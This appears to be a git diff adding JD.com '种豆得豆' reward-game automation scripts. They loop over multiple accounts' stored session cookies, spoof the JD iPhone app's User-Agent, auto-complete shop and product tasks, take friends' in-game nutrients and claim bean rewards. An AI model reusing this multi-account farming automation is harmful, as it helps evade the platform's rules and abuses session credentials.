+ $.taskList = $.plantBeanIndexResult.data.taskList; + subTitle = `【京东昵称】${$.plantBeanIndexResult.data.plantUserInfo.plantNickName}`; + message += `【上期时间】${roundList[num - 1].dateDesc.replace('上期 ', '')}\n`; + message += `【上期成长值】${roundList[num - 1].growth}\n`; + await $.wait(1000); + await receiveNutrients();//定时领取营养液 + await $.wait(2000); + await doTask();//做日常任务 + await $.wait(5000); + // await doEgg(); + await stealFriendWater(); + await $.wait(2000); + await doCultureBean(); + await $.wait(1000); + await doGetReward(); + await $.wait(1000); + await showTaskProcess(); + await $.wait(1000); + await plantShareSupportList(); + await $.wait(1000); + } else { + console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`); + } + } catch (e) { + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } +} +async function doGetReward() { + console.log(`【上轮京豆】${awardState === '4' ? '采摘中' : awardState === '5' ? '可收获了' : '已领取'}`); + if (awardState === '4') { + //京豆采摘中... + message += `【上期状态】${roundList[num - 1].tipBeanEndTitle}\n`; + } else if (awardState === '5') { + //收获 + await getReward(); + console.log('开始领取京豆'); + if ($.getReward && $.getReward.code === '0') { + console.log('京豆领取成功'); + message += `【上期兑换京豆】${$.getReward.data.awardBean}个\n`; + $.msg($.name, subTitle, message); + allMessage += `京东账号${$.index} ${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `京东账号${$.index} ${$.nickName}\n${message}`); + // } + } else { + console.log(`$.getReward 异常:${JSON.stringify($.getReward)}`) + } + } else if (awardState === '6') { + //京豆已领取 + message += `【上期兑换京豆】${roundList[num - 1].awardBeans}个\n`; + } + if (roundList[num].dateDesc.indexOf('本期 ') > -1) { + roundList[num].dateDesc = roundList[num].dateDesc.substr(roundList[num].dateDesc.indexOf('本期 ') + 3, roundList[num].dateDesc.length); + } + message += `【本期时间】${roundList[num].dateDesc}\n`; + message += `【本期成长值】${roundList[num].growth}\n`; +} +async function doCultureBean() { + await plantBeanIndex(); + if(llerror) + return; + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + const plantBeanRound = $.plantBeanIndexResult.data.roundList[num] + if (plantBeanRound.roundState === '2') { + //收取营养液 + if (plantBeanRound.bubbleInfos && plantBeanRound.bubbleInfos.length) console.log(`开始收取营养液`) + for (let bubbleInfo of plantBeanRound.bubbleInfos) { + console.log(`收取-${bubbleInfo.name}-的营养液`) + await cultureBean(plantBeanRound.roundId, bubbleInfo.nutrientsType) + console.log(`收取营养液结果:${JSON.stringify($.cultureBeanRes)}`) + } + } + } else { + console.log(`plantBeanIndexResult:${JSON.stringify($.plantBeanIndexResult)}`) + } +} +async function stealFriendWater() { + await stealFriendList(); + if ($.stealFriendList && $.stealFriendList.code === '0') { + if ($.stealFriendList.data && $.stealFriendList.data.tips) { + console.log('\n\n今日偷取好友营养液已达上限\n\n'); + return + } + if ($.stealFriendList.data && $.stealFriendList.data.friendInfoList && $.stealFriendList.data.friendInfoList.length > 0) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + for (let item of $.stealFriendList.data.friendInfoList) { + if (new Date(nowTimes).getHours() === 20) { + if (item.nutrCount >= 2) { + // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); + console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); + await collectUserNutr(item.paradiseUuid); + console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) + if ($.stealFriendRes && $.stealFriendRes.code === '0') { + console.log(`偷取好友营养液成功`) + } + } + } else { + if (item.nutrCount >= 3) { + // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); + console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); + await collectUserNutr(item.paradiseUuid); + console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) + if ($.stealFriendRes && $.stealFriendRes.code === '0') { + console.log(`偷取好友营养液成功`) + } + } + } + } + } + } else { + console.log(`$.stealFriendList 异常: ${JSON.stringify($.stealFriendList)}`) + } +} +async function doEgg() { + await egg(); + if ($.plantEggLotteryRes && $.plantEggLotteryRes.code === '0') { + if ($.plantEggLotteryRes.data.restLotteryNum > 0) { + const eggL = new Array($.plantEggLotteryRes.data.restLotteryNum).fill(''); + console.log(`目前共有${eggL.length}次扭蛋的机会`) + for (let i = 0; i < eggL.length; i++) { + console.log(`开始第${i + 1}次扭蛋`); + await plantEggDoLottery(); + console.log(`天天扭蛋成功:${JSON.stringify($.plantEggDoLotteryResult)}`); + } + } else { + console.log('暂无扭蛋机会') + } + } else { + console.log('查询天天扭蛋的机会失败' + JSON.stringify($.plantEggLotteryRes)) + } +} +async function doTask() { + if ($.taskList && $.taskList.length > 0) { + for (let item of $.taskList) { + if (item.isFinished === 1) { + console.log(`${item.taskName} 任务已完成\n`); + continue; + } else { + if (item.taskType === 8) { + console.log(`\n【${item.taskName}】任务未完成,需自行手动去京东APP完成,${item.desc}营养液\n`) + } else { + console.log(`\n【${item.taskName}】任务未完成,${item.desc}营养液\n`) + } + } + if (item.dailyTimes === 1 && item.taskType !== 8) { + console.log(`\n开始做 ${item.taskName}任务`); + // $.receiveNutrientsTaskRes = await receiveNutrientsTask(item.taskType); + await receiveNutrientsTask(item.taskType); + await $.wait(3000); + console.log(`做 ${item.taskName}任务结果:${JSON.stringify($.receiveNutrientsTaskRes)}\n`); + } + if (item.taskType === 3) { + //浏览店铺 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedShopNum = item.totalNum - item.gainedNum; + if (unFinishedShopNum === 0) { + continue + } + await shopTaskList(); + const { data } = $.shopTaskListRes; + let goodShopListARR = [], moreShopListARR = [], shopList = []; + if (!data.goodShopList) { + data.goodShopList = []; + } + if (!data.moreShopList) { + data.moreShopList = []; + } + const { goodShopList, moreShopList } = data; + for (let i of goodShopList) { + if (i.taskState === '2') { + goodShopListARR.push(i); + } + } + for (let j of moreShopList) { + if (j.taskState === '2') { + moreShopListARR.push(j); + } + } + shopList = goodShopListARR.concat(moreShopListARR); + for (let shop of shopList) { + const { shopId, shopTaskId } = shop; + const body = { + "monitor_refer": "plant_shopNutrientsTask", + "shopId": shopId, + "shopTaskId": shopTaskId + } + const shopRes = await requestGet('shopNutrientsTask', body); + console.log(`shopRes结果:${JSON.stringify(shopRes)}`); + if (shopRes && shopRes.code === '0') { + if (shopRes.data && shopRes.data.nutrState && shopRes.data.nutrState === '1') { + unFinishedShopNum --; + } + } + if (unFinishedShopNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + if (item.taskType === 5) { + //挑选商品 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedProductNum = item.totalNum - item.gainedNum; + if (unFinishedProductNum === 0) { + continue + } + await productTaskList(); + // console.log('productTaskList', $.productTaskList); + const { data } = $.productTaskList; + let productListARR = [], productList = []; + const { productInfoList } = data; + for (let i = 0; i < productInfoList.length; i++) { + for (let j = 0; j < productInfoList[i].length; j++) { + productListARR.push(productInfoList[i][j]); + } + } + for (let i of productListARR) { + if (i.taskState === '2') { + productList.push(i); + } + } + for (let product of productList) { + const { skuId, productTaskId } = product; + const body = { + "monitor_refer": "plant_productNutrientsTask", + "productTaskId": productTaskId, + "skuId": skuId + } + const productRes = await requestGet('productNutrientsTask', body); + if (productRes && productRes.code === '0') { + // console.log('nutrState', productRes) + //这里添加多重判断,有时候会出现活动太火爆的问题,导致nutrState没有 + if (productRes.data && productRes.data.nutrState && productRes.data.nutrState === '1') { + unFinishedProductNum--; + } + } + if (unFinishedProductNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + if (item.taskType === 10) { + //关注频道 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedChannelNum = item.totalNum - item.gainedNum; + if (unFinishedChannelNum === 0) { + continue + } + await plantChannelTaskList(); + const { data } = $.plantChannelTaskList; + // console.log('goodShopList', data.goodShopList); + // console.log('moreShopList', data.moreShopList); + let goodChannelListARR = [], normalChannelListARR = [], channelList = []; + const { goodChannelList, normalChannelList } = data; + for (let i of goodChannelList) { + if (i.taskState === '2') { + goodChannelListARR.push(i); + } + } + for (let j of normalChannelList) { + if (j.taskState === '2') { + normalChannelListARR.push(j); + } + } + channelList = goodChannelListARR.concat(normalChannelListARR); + for (let channelItem of channelList) { + const { channelId, channelTaskId } = channelItem; + const body = { + "channelId": channelId, + "channelTaskId": channelTaskId + } + const channelRes = await requestGet('plantChannelNutrientsTask', body); + console.log(`channelRes结果:${JSON.stringify(channelRes)}`); + if (channelRes && channelRes.code === '0') { + if (channelRes.data && channelRes.data.nutrState && channelRes.data.nutrState === '1') { + unFinishedChannelNum--; + } + } + if (unFinishedChannelNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + } + } +} +function showTaskProcess() { + return new Promise(async resolve => { + await plantBeanIndex(); + if(llerror) + return; + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + $.taskList = $.plantBeanIndexResult.data.taskList; + if ($.taskList && $.taskList.length > 0) { + console.log(" 任务 进度"); + for (let item of $.taskList) { + console.log(`[${item["taskName"]}] ${item["gainedNum"]}/${item["totalNum"]} ${item["isFinished"]}`); + } + } + } else { + console.log(`plantBeanIndexResult:${JSON.stringify($.plantBeanIndexResult)}`) + } + resolve() + }) +} + +function showMsg() { + $.log(`\n${message}\n`); + jdNotify = $.getdata('jdPlantBeanNotify') ? $.getdata('jdPlantBeanNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, message); + } +} +// ================================================此处是API================================= +//每轮种豆活动获取结束后,自动收取京豆 +async function getReward() { + const body = { + "roundId": lastRoundId + } + $.getReward = await request('receivedBean', body); +} +//收取营养液 +async function cultureBean(currentRoundId, nutrientsType) { + let functionId = arguments.callee.name.toString(); + let body = { + "roundId": currentRoundId, + "nutrientsType": nutrientsType, + } + $.cultureBeanRes = await request(functionId, body); +} +//偷营养液大于等于3瓶的好友 +//①查询好友列表 +async function stealFriendList() { + const body = { + pageNum: '1' + } + $.stealFriendList = await request('plantFriendList', body); +} + +//②执行偷好友营养液的动作 +async function collectUserNutr(paradiseUuid) { + console.log('开始偷好友'); + // console.log(paradiseUuid); + let functionId = arguments.callee.name.toString(); + const body = { + "paradiseUuid": paradiseUuid, + "roundId": currentRoundId + } + $.stealFriendRes = await request(functionId, body); +} +async function receiveNutrients() { + $.receiveNutrientsRes = await request('receiveNutrients', { "roundId": currentRoundId, "monitor_refer": "plant_receiveNutrients" }) + // console.log(`定时领取营养液结果:${JSON.stringify($.receiveNutrientsRes)}`) +} +async function plantEggDoLottery() { + $.plantEggDoLotteryResult = await requestGet('plantEggDoLottery'); +} +//查询天天扭蛋的机会 +async function egg() { + $.plantEggLotteryRes = await requestGet('plantEggLotteryIndex'); +} +async function productTaskList() { + let functionId = arguments.callee.name.toString(); + $.productTaskList = await requestGet(functionId, { "monitor_refer": "plant_productTaskList" }); +} +async function plantChannelTaskList() { + let functionId = arguments.callee.name.toString(); + $.plantChannelTaskList = await requestGet(functionId); + // console.log('$.plantChannelTaskList', $.plantChannelTaskList) +} +async function shopTaskList() { + let functionId = arguments.callee.name.toString(); + $.shopTaskListRes = await requestGet(functionId, { "monitor_refer": "plant_receiveNutrients" }); + // console.log('$.shopTaskListRes', $.shopTaskListRes) +} +async function receiveNutrientsTask(awardType) { + const functionId = arguments.callee.name.toString(); + const body = { + "monitor_refer": "receiveNutrientsTask", + "awardType": `${awardType}`, + } + $.receiveNutrientsTaskRes = await requestGet(functionId, body); +} +async function plantShareSupportList() { + $.shareSupportList = await requestGet('plantShareSupportList', { "roundId": "" }); + if ($.shareSupportList && $.shareSupportList.code === '0') { + const { data } = $.shareSupportList; + //当日北京时间0点时间戳 + const UTC8_Zero_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + //次日北京时间0点时间戳 + const UTC8_End_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 + (24 * 60 * 60 * 1000); + let friendList = []; + data.map(item => { + if (UTC8_Zero_Time <= item['createTime'] && item['createTime'] < UTC8_End_Time) { + friendList.push(item); + } + }) + message += `【助力您的好友】共${friendList.length}人`; + } else { + console.log(`异常情况:${JSON.stringify($.shareSupportList)}`) + } +} +//助力好友的api +async function helpShare(plantUuid) { + console.log(`\n开始助力好友: ${plantUuid}`); + const body = { + "plantUuid": plantUuid, + "wxHeadImgUrl": "", + "shareUuid": "", + "followType": "1", + } + $.helpResult = await request(`plantBeanIndex`, body); + console.log(`助力结果的code:${$.helpResult && $.helpResult.code}`); +} +async function plantBeanIndex() { + llerror=false; + $.plantBeanIndexResult = await request('plantBeanIndex'); //plantBeanIndexBody + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息出错,10秒后重试\n`) + await $.wait(10000); + $.plantBeanIndexResult = await request('plantBeanIndex'); + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息出错,30秒后重试\n`) + await $.wait(30000); + $.plantBeanIndexResult = await request('plantBeanIndex'); + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息失败,活动异常,换个时间再试试吧....`) + console.log("错误代码;" + $.plantBeanIndexResult.errorCode) + llerror=true; + return + } +} +function requireConfig() { + return new Promise(resolve => { + //console.log('开始获取种豆得豆配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdPlantBeanShareCodes = ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdPlantBeanShareCodes).forEach((item) => { + if (jdPlantBeanShareCodes[item]) { + $.shareCodesArr.push(jdPlantBeanShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_plantbean_inviter')) $.shareCodesArr = $.getdata('jd_plantbean_inviter').split('\n').filter(item => !!item); + //console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantbean_inviter') ? $.getdata('jd_plantbean_inviter') : '暂无'}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + //console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`); + resolve() + }) +} +function requestGet(function_id, body = {}) { + if (!body.version) { + body["version"] = "9.0.0.1"; + } + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return new Promise(async resolve => { + await $.wait(5000); + const option = { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}) { + return new Promise(async resolve => { + await $.wait(5000); + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(function_id, body) { + body["version"] = "9.2.4.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=19_1601_50258_51885&build=167490&clientVersion=9.3.2`, + headers: { + "Cookie": cookie, + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + } +} +function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") + const r = url.match(reg) + if (r != null) return unescape(r[2]); + return null; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_plantBean_help.js b/jd_plantBean_help.js new file mode 100644 index 0000000..06d67bc --- /dev/null +++ b/jd_plantBean_help.js @@ -0,0 +1,493 @@ +/* +种豆得豆 脚本更新地址:jd_plantBean_help.js +更新时间:2021-08-20 +活动入口:京东APP我的-更多工具-种豆得豆 +已支持IOS京东多账号,云端多京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +注:会自动关注任务中的店铺跟商品,介意者勿使用。 +互助码shareCode请先手动运行脚本查看打印可看到 +每个京东账号每天只能帮助3个人。多出的助力码将会助力失败。 + +=====================================Quantumult X================================= +[task_local] +40 4,17 * * * https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean_help.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true + +=====================================Loon================================ +[Script] +cron "40 4,17 * * *" script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean_help.js,tag=京东种豆得豆 + +======================================Surge========================== +京东种豆得豆 = type=cron,cronexp="40 4,17 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean_help.js + +====================================小火箭============================= +京东种豆得豆 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean_help.js, cronexpr="40 4,17 * * *", timeout=3600, enable=true + +*/ +const $ 